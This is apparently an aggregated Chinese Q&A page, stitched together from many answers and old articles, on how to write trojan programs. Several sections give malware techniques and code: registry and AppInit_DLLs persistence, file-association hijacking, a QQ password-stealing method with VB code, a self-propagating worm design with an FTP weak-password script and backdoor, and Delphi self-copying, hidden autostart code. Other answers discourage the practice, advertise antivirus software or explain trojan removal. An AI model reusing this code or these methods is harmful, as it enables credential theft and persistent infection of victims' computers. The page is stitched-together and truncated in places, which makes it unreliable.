木马程序怎么编写复制内容(木马程序如何编写)

2023-03-01 2:52:33 密语知识 思思

木马程序怎么编写

要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。

木马程序怎么编写复制内容(木马程序如何编写) 第1张

如何编写木马程序?

怎样编写木马程序

您好

建议您不要去学习使用木马病毒,是属于违法犯罪行为。而且,如果您接收了木马病毒,那么该病毒会自动在您的电脑中优先运行。

建议您到腾讯电脑管家官网下载一个电脑管家。

在平时使用电脑的时候,打开电脑管家,可以受到电脑管家16层实时防护的保护和云智能预警系统,可以在木马活动早期侦测并阻断木马的破坏行为,通过云查杀技术秒杀最新流行木马。

如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难

腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/

如何编写木马程序??

你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的方法就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。

如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及操作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!

good luck。

呀,还有,请采纳我吧,宝贝儿,嘻!

如何编写木马程序

如果对电脑感兴趣的话可以学习下,一般软件开发工程师都是学的高级语言,但是如果写木马,我们一般是要接触低级语言的,低级语言比高级语言学起来枯燥,但学成之后进阶高级语言很快而且比一般的程序员牛逼,高级语言配合底层知识才能写出更好的木马。底层知识越牢固越好。

怎样才能编程木马程序

北上广深这么多程序员,怎么没几个搞这种编程的?

一个原因就是没钱赚,另一个原因就是技术上要求太高。

好好的学编程,从你提这个问题来看,你都还没入门吧。

慢慢学,你会发现学得越多自己越无知,等你有五年以上开发经验的时候,再来看你现在的这个提问的时候,一定会笑话这个时候的自己的。

祝你在开发的路上快速成长!

木马是如何编写的(三)

很高兴为您解答:

木马编写是需要你懂的C++语言

首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

与exe文件建立关联:HKEY_CLASSES_ROOT\exefile\shell\open\mand

与txt文件建立关联:HKEY_CLASSES_ROOT\txtfile\shell\open\mand

与dll文件建立关联:HKEY_CLASSES_ROOT\dllfile\shell\open\mand

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Windows

下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取......

编写木马?

盗号木马~~~~楼主,这不是好玩的东西,不过看在高分悬赏的份上,就告诉你吧。 可以通过 SendMessage 发送 WM_GETTEXT 取得密码框中的值,我们可以利用这一点来完成密码的截取。 使用 Timer 控件,监视QQ。 用遍查窗口的方法(EnumWindows),取得所有的窗口标题(GetWindowText),判断其中是否为"QQ用户登录"的标题,取 得QQ登录窗口的子窗口(窗口上的控件)的类名(GetClassName),然后通过 boBox、Edit 取得用户名和密码(通过 SendMessage 发送 WM_GETTEXT 取得值)。 由于不能判断外部按键事件的发生,只有通过不断的取得密码值,具体方法如下: 首先取得 用户名的值,然后不停的取密码的值,再判断窗口的标题是否为用户名,如果为用户名,则最后一次密码的值就是真正的密码,到此程序完成。 程序编制 (1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。 声明变量、过程及 API 函数,写在 Module1.bas 文件中 Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象

Type SECURITY_ATTRIBUTES

nLength As Long

lpSecurityDescriptor As Long

bInheritHandle As Long

End Type

Const PAGE_READWRITE = 1

Const ERROR_ALREADY_EXISTS = 183

建立判断程序是否多启动的过程

Sub Main()

Dim ynRun As Long

Dim sa As SECURITY_ATTRIBUTES

sa.bInheritHandle = 1

sa.lpSecurityDescriptor = 0

sa.nLength = Len(sa)

ynRun = CreateFileMapping(HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件

If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出

CloseHandle ynRun '退出程序前关闭内存映射文件

End

End If

End Sub

(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法 声明变量、过程及 API......

木马程序是怎么编出来的

一个典型的蠕虫病毒有两个功能型部件:传播和破坏,流行的蠕虫病毒大都是利用操作系统或者应用程序的漏洞(以弱口令和溢出最为常见),但常常并不会对宿主机造成“致命”的破坏。这两个特点使蠕虫病毒比普通电脑病毒传播得更快,影响力更大。一般来说,单一的蠕虫病毒只针对某种特定的漏洞进行攻击,所以一旦这种漏洞得到大范围修补,病毒也就没有了生存空间。

更新这种设计,我把传播部件拆分开来:把扫描、攻击和破坏脚本化,主程序则负责解析这些脚本。例如针对ftp弱口令进行扫描,我们可以定义如下脚本:

code:

uid = iscript-0a21-2331-x #随机唯一编号

using tcp;

port 21;

send “user anonymous”;

send crlf;

send “pass [email protected]”

send crlf;

if (find “200”) resulrt ok;

next;

[copy to clipboard]

解析了这段脚本后(我想这种脚本是很容易读懂的),我们再定义一系列的过程,把我们的蠕虫体upload上去,一次完整的传播动作就完成了。如果是溢出漏洞,为了简单起见我们可以采集远程溢出的数据包,然后修改ip地址等必要数据,再转发溢出数据包进行溢出(这种情况下要实现connect-back就不容易了,不过这些具体问题就待有心人去研究吧),例如:

code:

using raw;

ip offset at 12;

send “\x1a\xb2\xcc” ……

[copy to clipboard]d

主程序在完成传播后留下一个后门,其他宿主机可以通过这个后门与本地的蠕虫病毒同步传播脚本,这样每次有新的漏洞产生,宿主机的传播方式可以很快地得到升级。我们当然不会仅满足于这样一个蠕虫程序,扫描/攻击脚本的传播过程也是需要仔细处理的。

我们希望适应力(fitness)最强的脚本得到广泛的应用(看起来有点类似 蚁群算法 和 ga),所以我们要求得每个个体的fitness,当它和另一个体取得联系的时候就可以决定谁的传播脚本将取代另一个:

fitness = number of host infected / number of host scanned

但也不能仅凭fitness就修改传播脚本,我个人觉得一个合适的概率是75%,20%的机会保持各自的传播脚本,剩下的5%则交换脚本。这样在维持每种脚本都有一定生存空间的情况下使适应性最好的个体得到更多的传播机会,同时,一些在某种网络环境下适应性不强的脚本也有机会尝试不同的网络环境。

木马程序是怎么写出来的?

您好:

建议您不要编写木马程序,木马程序会对您和别人的电脑造成损害的,如果您曾编写过此类不安全的软件的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载

腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/

怎么制作木马程序?

你需要学会编程才能编写木马编写木马最好用vc++。enet/eschool/video/c++/ 这是c++的教程,你学懂了这些皮毛的东西再深入研究内核编程吧如果上面的地址打不开可以到这里pconline/pcedu/empolder/gj/vc/0607/820674

怎么编写一个简单的木马程序?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的薰陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的......

电脑中了木马病毒,怎么把重要文件复制出来?

可以直接复制文件,一般木马不会感染文件,只会盗取个人信息。

查看自己的电脑中是否有木马病毒

1、集成到程序中

其实木马病毒也是一个服务器-客户端程序,它为了不让用户能轻易地把它删除,就常常集成到程序里,一旦用户激活木马病毒程序,那么木马病毒文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使木马病毒被删除了,只要运行捆绑了木马病毒的应用程序,木马病毒又会被安装上去了。绑定到某一应用程序中,如绑定到系统文件,那么每一次Windows启动均会启动木马病毒。

2、隐藏在配置文件中

木马病毒实在是太狡猾,知道菜鸟们平时使用的是图形化界面的操作系统,对于那些已经不太重要的配置文件大多数是不闻不问了,这正好给木马病毒提供了一个藏身之处。而且利用配置文件的特殊作用,木马病毒很容易就能在大家的计算机中运行、发作,从而偷窥或者监视大家。不过,现在这种方式不是很隐蔽,容易被发现,所以在Autoexec.bat和Config.sys中加载木马病毒程序的并不多见,但也不能因此而掉以轻心哦。

3、潜伏在Win.ini中

木马病毒要想达到控制或者监视计算机的目的,必须要运行,然而没有人会傻到自己在自己的计算机中运行这个该死的木马病毒。当然,木马病毒也早有心理准备,知道人类是高智商的动物,不会帮助它工作的,因此它必须找一个既安全又能在系统启动时自动运行的地方,于是潜伏在Win.ini中是木马病毒感觉比较惬意的地方。大家不妨打开Win.ini来看看,在它的[windows]字段中有启动命令“load=”和“run=”,在一般情况下“=”后面是空白的,如果有后跟程序,比方说是这个样子:run=c:\\windows\\file.exeload=c:\\windows\\file.exe

这时你就要小心了,这个file.exe很可能是木马病毒哦。

4、伪装在普通文件中

这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标,再把文件名改为*.jpg.exe,由于默认设置是\"不显示已知的文件后缀名\",文件将会显示为*.jpg,不注意的人一点这个图标就中木马病毒了。

5、内置到注册表中

上面的方法让木马病毒着实舒服了一阵,既没有人能找到它,又能自动运行,真是快哉!然而好景不长,人类很快就把它的马脚揪了出来,并对它进行了严厉的惩罚!但是它还心有不甘,总结了失败教训后,认为上面的藏身之处很容易找,现在必须躲在不容易被人发现的地方,于是它想到了注册表!的确注册表由于比较复杂,木马病毒常常喜欢藏在这里快活,赶快检查一下,有什么程序在其下,睁大眼睛仔细看了,别放过木马病毒哦:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion下所有以“run”开头的键值;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion下所有以“run”开头的键值;HKEY-USERS\\.Default\\Software\\Microsoft\\Windows\\CurrentVersion下所有以“run”开头的键值。

6、在System.ini中藏身

木马病毒真是无处不在呀!什么地方有空子,它就往哪里钻!这不,Windows安装目录下的System.ini也是木马病毒喜欢隐蔽的地方。还是小心点,打开这个文件看看,它与正常文件有什么不同,在该文件的[boot]字段中,是不是有这样的内容,那就是shell=Explorer.exefile.exe,如果确实有这样的内容,那就不幸了,因为这里的file.exe就是木马病毒服务端程序!另外,在System.ini中的[386Enh]字段,要注意检查在此段内的“driver=路径\\程序名”,这里也有可能被木马病毒所利用。再有,在System.ini中的[mic]、[drivers]、[drivers32]这三个字段,这些段也是起到加载驱动程序的作用,但也是增添木马病毒程序的好场所,现在该知道也要注意这里喽。

7、隐形于启动组中

有时木马病毒并不在乎自己的行踪,它更注意的是能否自动加载到系统中,因为一旦木马病毒加载到系统中,任用什么方法都无法将它赶跑(哎,这木马病毒脸皮也真是太厚),因此按照这个逻辑,启动组也是木马病毒可以藏身的好地方,因为这里的确是自动加载运行的好场所。动组对应的文件夹为:C:\\windows\\startmenu\\programs\\startup,在注册表中的位置:HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ Explorer\\ShellFoldersStartup=\"C:\\windows\\startmenu\\programs\\startup\"。要注意经常检查启动组哦!

8、隐蔽在Winstart.bat中

按照上面的逻辑理论,凡是利于木马病毒能自动加载的地方,木马病毒都喜欢呆。这不,Winstart.bat也是一个能自动被Windows加载运行的文件,它多数情况下为应用程序及Windows自动生成,在执行了Win.com并加载了多数驱动程序之后开始执行(这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Winstart.bat代替完成,因此木马病毒完全可以像在Autoexec.bat中那样被加载运行,危险由此而来。

9、捆绑在启动文件中

即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将制作好的带有木马病毒启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马病毒的目的了。

10、设置在超级连接中

木马病毒的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗!奉劝不要随便点击网页上的链接,除非了解它,信任它,为它死了也愿意等等。

下面再看木马病毒的清除方法

1、检查注册表中RUN、RUNSERVEICE等几项,先备份,记下可以启动项的地址,再将可疑的删除。

2、删除上述可疑键在硬盘中的执行文件。

3、一般这种文件都在WINNT,SYSTEM,SYSTEM32这样的文件夹下,他们一般不会单独存在,很可能是有某个母文件复制过来的,检查C、D、E等盘下有没有可疑的.exe,.com或.bat文件,有则删除之。

4、检查注册表HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\InternetExplorer\\Main中的几项(如LocalPage),如果被修改了,改回来就可以。

5、检查HKEY_CLASSES_ROOT\\inifile\\shell\\open\\command和HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command等等几个常用文件类型的默认打开程序是否被更改。这个一定要改回来。很多病毒就是通过修改.txt,.ini等的默认打开程序让病毒“长生不老,永杀不尽”的。

怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!

其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的方法我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种方法:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它方法请到我的个人主页去看. 1:自我拷贝法 这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种方法. 一种方法是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种方法是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种方法的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. 方法如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了